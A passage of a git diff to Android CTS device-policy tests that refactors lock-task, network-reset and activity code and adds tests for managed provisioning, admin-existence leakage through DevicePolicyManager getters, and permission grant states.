+            sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(DPC_COMPONENT_NAME,
+                    LOCK_TASK_FEATURE_KEYGUARD);
             Activity<TestAppActivity> activity = testApp.activities().any().start();
             try {
                 activity.startLockTask();
@@ -1050,23 +1072,24 @@
 
                 activity.startActivity(intent);
 
-                assertThat(sTestApis.activities().foregroundActivity().packageName())
-                        .isEqualTo(sTestApis.packages().find(emergencyDialerPackageName));
-                assertThat(sTestApis.activities().getLockTaskModeState()).isEqualTo(
+                assertThat(TestApis.activities().foregroundActivity().pkg())
+                        .isEqualTo(TestApis.packages().find(emergencyDialerPackageName));
+                assertThat(TestApis.activities().getLockTaskModeState()).isEqualTo(
                         LOCK_TASK_MODE_LOCKED);
             } finally {
                 activity.stopLockTask();
             }
         } finally {
             sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
-                    originalLockTaskPackages);
-            sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(originalLockTaskFeatures);
+                    DPC_COMPONENT_NAME, originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(
+                    DPC_COMPONENT_NAME, originalLockTaskFeatures);
         }
     }
 
     private String getEmergencyDialerPackageName() {
         PackageManager packageManager =
-                sTestApis.context().instrumentedContext().getPackageManager();
+                TestApis.context().instrumentedContext().getPackageManager();
         Intent intent = new Intent(ACTION_EMERGENCY_DIAL).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         ResolveInfo dialerInfo =
                 packageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/MainActivity.java b/tests/devicepolicy/src/android/devicepolicy/cts/MainActivity.java
index ebfaf40..94bae2f 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/MainActivity.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/MainActivity.java
@@ -20,28 +20,37 @@
 import android.os.Bundle;
 import android.os.Process;
 import android.os.UserManager;
+import android.util.Log;
 import android.widget.TextView;
 
 /**
  * An activity that displays the serial number of the user that it is running into.
  */
-public class MainActivity extends Activity {
+public final class MainActivity extends Activity {
+
+    private static final String TAG = MainActivity.class.getSimpleName();
+
+    private TextView mTextView;
+    private long mSerialNumber;
 
     @Override
     public void onCreate(Bundle bundle) {
         super.onCreate(bundle);
+
         setContentView(R.layout.main);
+        mTextView = findViewById(R.id.user_textview);
+
+        UserManager userManager = getSystemService(UserManager.class);
+        mSerialNumber = userManager.getSerialNumberForUser(Process.myUserHandle());
+
+        Log.v(TAG, "onCreate(): serial number is " + mSerialNumber);
     }
 
     @Override
     public void onStart() {
         super.onStart();
-        TextView textView = findViewById(R.id.user_textview);
-        textView.setText(Long.toString(getCurrentUserSerialNumber()));
-    }
 
-    private long getCurrentUserSerialNumber() {
-        UserManager userManager = getSystemService(UserManager.class);
-        return userManager.getSerialNumberForUser(Process.myUserHandle());
+        Log.v(TAG, "updateState(): displaying serial number as " + mSerialNumber);
+        mTextView.setText(Long.toString(mSerialNumber));
     }
 }
\ No newline at end of file
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ManagedProvisioningTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ManagedProvisioningTest.java
new file mode 100644
index 0000000..00475eb
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ManagedProvisioningTest.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.RequireFeature;
+import com.android.bedstead.nene.TestApis;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public final class ManagedProvisioningTest {
+
+    private static final String MANAGED_PROVISIONING_PKG = "com.android.managedprovisioning";
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    @Test
+    @RequireFeature(FEATURE_DEVICE_ADMIN)
+    public void managedProvisioning_isInstalledInSystemImage() throws Exception {
+        assertThat(TestApis.packages().find(MANAGED_PROVISIONING_PKG).hasSystemFlag()).isTrue();
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
index 7b3ff7e..d3b7087 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
@@ -43,7 +43,7 @@
  */
 @SmallTest
 @RunWith(BedsteadJUnit4.class)
-public class NegativeCallAuthorizationTest {
+public final class NegativeCallAuthorizationTest {
     private static final String ALIAS = "some-alias";
     private static final Context sContext = ApplicationProvider.getApplicationContext();
     private static final DevicePolicyManager sDpm =
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NetworkResetTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/NetworkResetTest.java
index bf11cf7..5bad1c7 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/NetworkResetTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NetworkResetTest.java
@@ -21,6 +21,8 @@
 import static android.os.UserManager.DISALLOW_CONFIG_PRIVATE_DNS;
 import static android.os.UserManager.DISALLOW_NETWORK_RESET;
 
+import static com.android.bedstead.remotedpc.RemoteDpc.DPC_COMPONENT_NAME;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import android.content.Context;
@@ -47,12 +49,11 @@
 
 // TODO(b/189280629): Move this test to to net test folder to live with other network reset tests.
 @RunWith(BedsteadJUnit4.class)
-public class NetworkResetTest {
+public final class NetworkResetTest {
     @ClassRule @Rule
     public static final DeviceState sDeviceState = new DeviceState();
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
     private static final UserManager sUserManager = sContext.getSystemService(UserManager.class);
     private static final ConnectivityManager sConnectivityManager =
             sContext.getSystemService(ConnectivityManager.class);
@@ -72,16 +73,18 @@
         restoreSettings(mOriginalAirplaneMode, mOriginalPrivateDnsMode, mOriginalAvoidBadWifi);
     }
 
+    // TODO: Add @NegativePolicyTest
+
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = DisallowNetworkReset.class)
     @EnsureHasPermission({NETWORK_SETTINGS, WRITE_SECURE_SETTINGS})
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void factoryReset_disallowedByNetworkResetPolicy_doesNotFactoryReset() throws Exception {
         final boolean originalUserRestriction =
                 sUserManager.hasUserRestriction(DISALLOW_NETWORK_RESET);
         try {
             sConnectivityManager.setAirplaneMode(true);
-            sDeviceState.dpc().devicePolicyManager().addUserRestriction(DISALLOW_NETWORK_RESET);
+            sDeviceState.dpc().devicePolicyManager().addUserRestriction(DPC_COMPONENT_NAME, DISALLOW_NETWORK_RESET);
 
             sConnectivityManager.factoryReset();
 
@@ -93,20 +96,18 @@
         }
     }
 
-
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = DisallowPrivateDnsConfig.class)
     @EnsureHasPermission({NETWORK_SETTINGS, WRITE_SECURE_SETTINGS})
-    public void factoryReset_disallowedByConfigPrivateDnsPolicy_doesPartialFactoryReset()
-            throws Exception {
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
+    public void factoryReset_disallowedByConfigPrivateDnsPolicy_doesPartialFactoryReset() {
         final boolean originalUserRestriction =
                 sUserManager.hasUserRestriction(DISALLOW_CONFIG_PRIVATE_DNS);
         try {
             ConnectivitySettingsManager.setPrivateDnsMode(sContext,
                     ConnectivitySettingsManager.PRIVATE_DNS_MODE_OFF);
             sDeviceState.dpc().devicePolicyManager()
-                    .addUserRestriction(DISALLOW_CONFIG_PRIVATE_DNS);
+                    .addUserRestriction(DPC_COMPONENT_NAME, DISALLOW_CONFIG_PRIVATE_DNS);
 
             sConnectivityManager.factoryReset();
 
@@ -120,9 +121,9 @@
     }
 
     @Test
-    @Postsubmit(reason = "New test")
     @PositivePolicyTest(policy = DisallowNetworkReset.class)
     @EnsureHasPermission({NETWORK_SETTINGS, WRITE_SECURE_SETTINGS})
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void factoryReset_noPolicyRestrictions_resetsToDefault() throws Exception {
         final boolean originalPrivateDnsUserRestriction =
                 sUserManager.hasUserRestriction(DISALLOW_CONFIG_PRIVATE_DNS);
@@ -134,9 +135,9 @@
                     ConnectivitySettingsManager.PRIVATE_DNS_MODE_OFF);
             // Ensure no policy set.
             sDeviceState.dpc().devicePolicyManager()
-                    .clearUserRestriction(DISALLOW_CONFIG_PRIVATE_DNS);
+                    .clearUserRestriction(DPC_COMPONENT_NAME, DISALLOW_CONFIG_PRIVATE_DNS);
             sDeviceState.dpc().devicePolicyManager()
-                    .clearUserRestriction(DISALLOW_NETWORK_RESET);
+                    .clearUserRestriction(DPC_COMPONENT_NAME, DISALLOW_NETWORK_RESET);
 
             sConnectivityManager.factoryReset();
 
@@ -171,9 +172,9 @@
 
     private void restoreUserRestriction(boolean originalUserRestriction, String policy) {
         if (originalUserRestriction) {
-            sDeviceState.dpc().devicePolicyManager().addUserRestriction(policy);
+            sDeviceState.dpc().devicePolicyManager().addUserRestriction(DPC_COMPONENT_NAME, policy);
         } else {
-            sDeviceState.dpc().devicePolicyManager().clearUserRestriction(policy);
+            sDeviceState.dpc().devicePolicyManager().clearUserRestriction(DPC_COMPONENT_NAME, policy);
         }
     }
 }
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NoAdminLeakingTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/NoAdminLeakingTest.java
new file mode 100644
index 0000000..236f152
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NoAdminLeakingTest.java
@@ -0,0 +1,229 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
+
+import static com.android.bedstead.remotedpc.RemoteDpc.DPC_COMPONENT_NAME;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.app.admin.RemoteDevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.RequireDoesNotHaveFeature;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
+import com.android.bedstead.harrier.policies.LockscreenPolicyWithUnifiedChallenge;
+import com.android.bedstead.harrier.policies.ScreenCaptureDisabled;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+import com.android.bedstead.testapp.TestAppProvider;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.function.BiConsumer;
+
+/**
+ * Test that DevicePolicyManager getters that accept "ComponentName who" argument don't allow a
+ * different app to probe for admins when policy is set: those getters should only allow either
+ * calls where "who" is null or "who" is not null and belongs to caller. SecurityExceptions that are
+ * thrown otherwise shouldn't leak that data either.
+ */
+@RunWith(BedsteadJUnit4.class)
+// Password policies aren't supported on automotive
+@RequireDoesNotHaveFeature(FEATURE_AUTOMOTIVE)
+public class NoAdminLeakingTest {
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    private static final TestApp sTestApp = sTestAppProvider.any();
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = LockscreenPolicyWithUnifiedChallenge.class)
+    public void testPasswordQuality_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getPasswordQuality(who));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = LockscreenPolicyWithUnifiedChallenge.class)
+    public void testPasswordMinimumLength_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getPasswordMinimumLength(who));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = LockscreenPolicyWithUnifiedChallenge.class)
+    public void testPasswordMinimumLetters_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getPasswordMinimumLetters(who));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = LockscreenPolicyWithUnifiedChallenge.class)
+    public void testPasswordMinimumNonLetter_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getPasswordMinimumNonLetter(who));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = LockscreenPolicyWithUnifiedChallenge.class)
+    public void testPasswordMinimumLowerCase_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getPasswordMinimumLowerCase(who));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = LockscreenPolicyWithUnifiedChallenge.class)
+    public void testPasswordMinimumUpperCase_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getPasswordMinimumUpperCase(who));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = LockscreenPolicyWithUnifiedChallenge.class)
+    public void testPasswordMinimumNumeric_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getPasswordMinimumNumeric(who));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = LockscreenPolicyWithUnifiedChallenge.class)
+    public void testPasswordMinimumSymbols_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getPasswordMinimumSymbols(who));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = LockscreenPolicyWithUnifiedChallenge.class)
+    public void testPasswordHistoryLength_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getPasswordHistoryLength(who));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = LockscreenPolicyWithUnifiedChallenge.class)
+    public void testPasswordExpiration_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getPasswordExpiration(who));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = LockscreenPolicyWithUnifiedChallenge.class)
+    public void testPasswordExpirationTimeout_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getPasswordExpirationTimeout(who));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = LockscreenPolicyWithUnifiedChallenge.class)
+    public void testMaximumFailedPasswordsForWipe_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getMaximumFailedPasswordsForWipe(who));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = LockscreenPolicyWithUnifiedChallenge.class)
+    public void testMaximumTimeToLock_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getMaximumTimeToLock(who));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = LockscreenPolicyWithUnifiedChallenge.class)
+    public void testRequiredStrongAuthTimeout_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getRequiredStrongAuthTimeout(who));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = ScreenCaptureDisabled.class)
+    public void testScreenCaptureDisabled_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getScreenCaptureDisabled(who));
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = LockscreenPolicyWithUnifiedChallenge.class)
+    public void testTrustAgentConfiguration_adminPolicyNotAvailableToNonAdmin() {
+        assertOnlyAggregatePolicyAvailableToNonAdmin(
+                (dpm, who) -> dpm.getTrustAgentConfiguration(who,
+                        DPC_COMPONENT_NAME /* agent component, need to be non-null */));
+    }
+
+    // TODO(b/210996030): replace this with test method parametrization and separate "null" case.
+    private void assertOnlyAggregatePolicyAvailableToNonAdmin(
+            BiConsumer<RemoteDevicePolicyManager, ComponentName> accessor) {
+        try (TestAppInstance testApp = sTestApp.install()) {
+            // Invoking with null admin should not throw.
+            accessor.accept(testApp.devicePolicyManager(), /* who= */ null);
+
+            SecurityException adminPackageEx = null;
+            try {
+                // Requesting policy for an admin from a different app should throw.
+                accessor.accept(testApp.devicePolicyManager(), DPC_COMPONENT_NAME);
+                fail("Checking particular admin policy shouldn't be allowed for non admin");
+            } catch (SecurityException e) {
+                adminPackageEx = e;
+            }
+
+            ComponentName nonexistentComponent = new ComponentName("bad_pkg_123", "bad_clz_456");
+            SecurityException nonexistentPackageEx = null;
+            try {
+                // Requesting policy for a nonexistent admin should throw.
+                accessor.accept(testApp.devicePolicyManager(), nonexistentComponent);
+                fail("Querying policy for non-existent admin should have thrown an exception");
+            } catch (SecurityException e) {
+                nonexistentPackageEx = e;
+            }
+
+            // Both exceptions should have the same message (except package name) to avoid revealing
+            // admin existence.
+            String adminMessage = adminPackageEx.getMessage()
+                    .replace(DPC_COMPONENT_NAME.toString(), "");
+            String nonexistentMessage = nonexistentPackageEx.getMessage()
+                    .replace(nonexistentComponent.toString(), "");
+            assertThat(adminMessage).isEqualTo(nonexistentMessage);
+        }
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NonExportedActivity.java b/tests/devicepolicy/src/android/devicepolicy/cts/NonExportedActivity.java
index a76f4ee..25ba6f7 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/NonExportedActivity.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NonExportedActivity.java
@@ -19,5 +19,5 @@
 import android.app.Activity;
 
 /** Activity used for Cross Profile Apps Tests */
-public class NonExportedActivity extends Activity {
+public final class NonExportedActivity extends Activity {
 }
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NonMainActivity.java b/tests/devicepolicy/src/android/devicepolicy/cts/NonMainActivity.java
index 7ef5f8a..98b8b11 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/NonMainActivity.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NonMainActivity.java
@@ -19,5 +19,5 @@
 import android.app.Activity;
 
 /** Activity used for Cross Profile Apps Tests */
-public class NonMainActivity extends Activity {
+public final class NonMainActivity extends Activity {
 }
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/PermissionGrantTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/PermissionGrantTest.java
new file mode 100644
index 0000000..4545f94
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/PermissionGrantTest.java
@@ -0,0 +1,754 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+import static android.Manifest.permission.ACTIVITY_RECOGNITION;
+import static android.Manifest.permission.BODY_SENSORS;
+import static android.Manifest.permission.CAMERA;
+import static android.Manifest.permission.INTERACT_ACROSS_USERS;
+import static android.Manifest.permission.READ_CALENDAR;
+import static android.Manifest.permission.READ_CONTACTS;
+import static android.Manifest.permission.READ_SMS;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED;
+
+import static com.android.bedstead.nene.notifications.NotificationListenerQuerySubject.assertThat;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.testng.Assert.assertThrows;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.AfterClass;
+import com.android.bedstead.harrier.annotations.BeforeClass;
+import com.android.bedstead.harrier.annotations.NotificationsTest;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.NegativePolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.SetPermissionGrantState;
+import com.android.bedstead.harrier.policies.SetSensorPermissionGranted;
+import com.android.bedstead.harrier.policies.SetSmsPermissionGranted;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.notifications.NotificationListener;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+import com.android.bedstead.testapp.TestAppProvider;
+
+import com.google.common.collect.ImmutableSet;
+
+import org.junit.ClassRule;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public final class PermissionGrantTest {
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    // From PermissionController ADMIN_AUTO_GRANTED_PERMISSIONS_ALERTING_NOTIFICATION_CHANNEL_ID
+    private static final String AUTO_GRANTED_PERMISSIONS_CHANNEL_ID =
+            "alerting auto granted permissions";
+    private static final String PERMISSION_CONTROLLER_PACKAGE_NAME =
+            TestApis.context().instrumentedContext().getPackageManager()
+                    .getPermissionControllerPackageName();
+
+    private static final String GRANTABLE_PERMISSION = READ_CALENDAR;
+
+    private static final String DEVELOPMENT_PERMISSION = INTERACT_ACROSS_USERS;
+
+    private static final ImmutableSet<String> SENSOR_PERMISSIONS = ImmutableSet.of(
+            ACCESS_FINE_LOCATION,
+            ACCESS_BACKGROUND_LOCATION,
+            ACCESS_COARSE_LOCATION,
+            CAMERA,
+            ACTIVITY_RECOGNITION,
+            BODY_SENSORS);
+
+    private static final ImmutableSet<String> LOCATION_PERMISSIONS = ImmutableSet.of(
+            ACCESS_FINE_LOCATION,
+            ACCESS_BACKGROUND_LOCATION,
+            ACCESS_COARSE_LOCATION);
+
+    private static final ImmutableSet<String> DENYABLE_PERMISSIONS = ImmutableSet.<String>builder()
+            .add(GRANTABLE_PERMISSION)
+            .add(READ_SMS) // All DPCs can deny sms permission
+            .addAll(SENSOR_PERMISSIONS) // All DPCs can deny sensor permissions
+            .build();
+
+    private static final String NON_EXISTING_PACKAGE_NAME = "non.existing.package";
+    private static final String NOT_DECLARED_PERMISSION = "not.declared.permission";
+
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    private static final TestApp sTestApp = sTestAppProvider.query()
+            .wherePermissions().contains(
+                    READ_SMS,
+                    CAMERA,
+                    ACTIVITY_RECOGNITION,
+                    BODY_SENSORS,
+                    READ_CONTACTS,
+                    ACCESS_FINE_LOCATION,
+                    ACCESS_BACKGROUND_LOCATION,
+                    ACCESS_COARSE_LOCATION
+            ).wherePermissions().doesNotContain(
+                    NOT_DECLARED_PERMISSION
+            ).get();
+    private static TestAppInstance sTestAppInstance;
+
+    @BeforeClass
+    public static void setupClass() {
+        sTestAppInstance = sTestApp.install(TestApis.users().instrumented());
+    }
+
+    @AfterClass
+    public static void teardownClass() {
+        sTestAppInstance.uninstall();
+    }
+
+    @Test
+    @NegativePolicyTest(policy = SetSmsPermissionGranted.class)
+    public void getPermissionGrantState_smsPermission_notAbleToSetState_alsoCantReadState() {
+        int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                        sTestApp.packageName(), READ_SMS);
+        try {
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    READ_SMS, PERMISSION_GRANT_STATE_GRANTED);
+
+            sTestApp.pkg().grantPermission(TestApis.users().instrumented(), READ_SMS);
+            // TODO(b/204041462): Replace granting the permission here with the user pressing the
+            //  "deny" button on the permission
+
+            assertWithMessage("Should not be able to read permission grant state but can")
+                    .that(sDeviceState.dpc().devicePolicyManager().getPermissionGrantState(
+                            sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                            READ_SMS))
+                    .isEqualTo(PERMISSION_GRANT_STATE_DEFAULT);
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                    sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                    READ_SMS, existingGrantState);
+            sTestApp.pkg().denyPermission(TestApis.users().instrumented(), READ_SMS);
+        }
+    }
+
+    @Test
+    @NegativePolicyTest(policy = SetSensorPermissionGranted.class)
+    public void getPermissionGrantState_sensorPermission_notAbleToSetState_alsoCantReadState() {
+        // TODO(b/188893663): Replace with parameterization
+        for (String permission : SENSOR_PERMISSIONS) {
+            int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                    .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                            sTestApp.packageName(), permission);
+            try {
+                sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        permission, PERMISSION_GRANT_STATE_GRANTED);
+
+                sTestApp.pkg().grantPermission(TestApis.users().instrumented(), permission);
+                // TODO(b/204041462): Replace granting the permission here with the user pressing the
+                //  "deny" button on the permission
+
+                assertWithMessage("Should not be able to read permission grant state but can")
+                        .that(sDeviceState.dpc().devicePolicyManager().getPermissionGrantState(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                                permission))
+                        .isEqualTo(PERMISSION_GRANT_STATE_DEFAULT);
+            } finally {
+                sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        permission, existingGrantState);
+                sTestApp.pkg().denyPermission(TestApis.users().instrumented(), permission);
+            }
+        }
+    }
+
+    @Test
+    @CanSetPolicyTest(policy = SetPermissionGrantState.class)
+    public void denyPermission_setsGrantState() {
+        // TODO(b/188893663): Replace with parameterization
+        for (String permission : DENYABLE_PERMISSIONS) {
+            int existingGrantState = sDeviceState.dpc().devicePolicyManager()
+                    .getPermissionGrantState(sDeviceState.dpc().componentName(),
+                            sTestApp.packageName(), permission);
+
+            try {
+                boolean wasSet = sDeviceState.dpc().devicePolicyManager()
+                        .setPermissionGrantState(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                                permission, PERMISSION_GRANT_STATE_DENIED);
+
+                assertWithMessage("setPermissionGrantState did not return true")
+                        .that(wasSet).isTrue();
+                assertWithMessage("Permission grant state should be set to denied but was not")
+                        .that(sDeviceState.dpc().devicePolicyManager().getPermissionGrantState(
+                                sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                                permission))
+                        .isEqualTo(PERMISSION_GRANT_STATE_DENIED);
+            } finally {
+                sDeviceState.dpc().devicePolicyManager().setPermissionGrantState(
+                        sDeviceState.dpc().componentName(), sTestApp.packageName(),
+                        permission, existingGrantState);
+            }
+        }
+    }
+
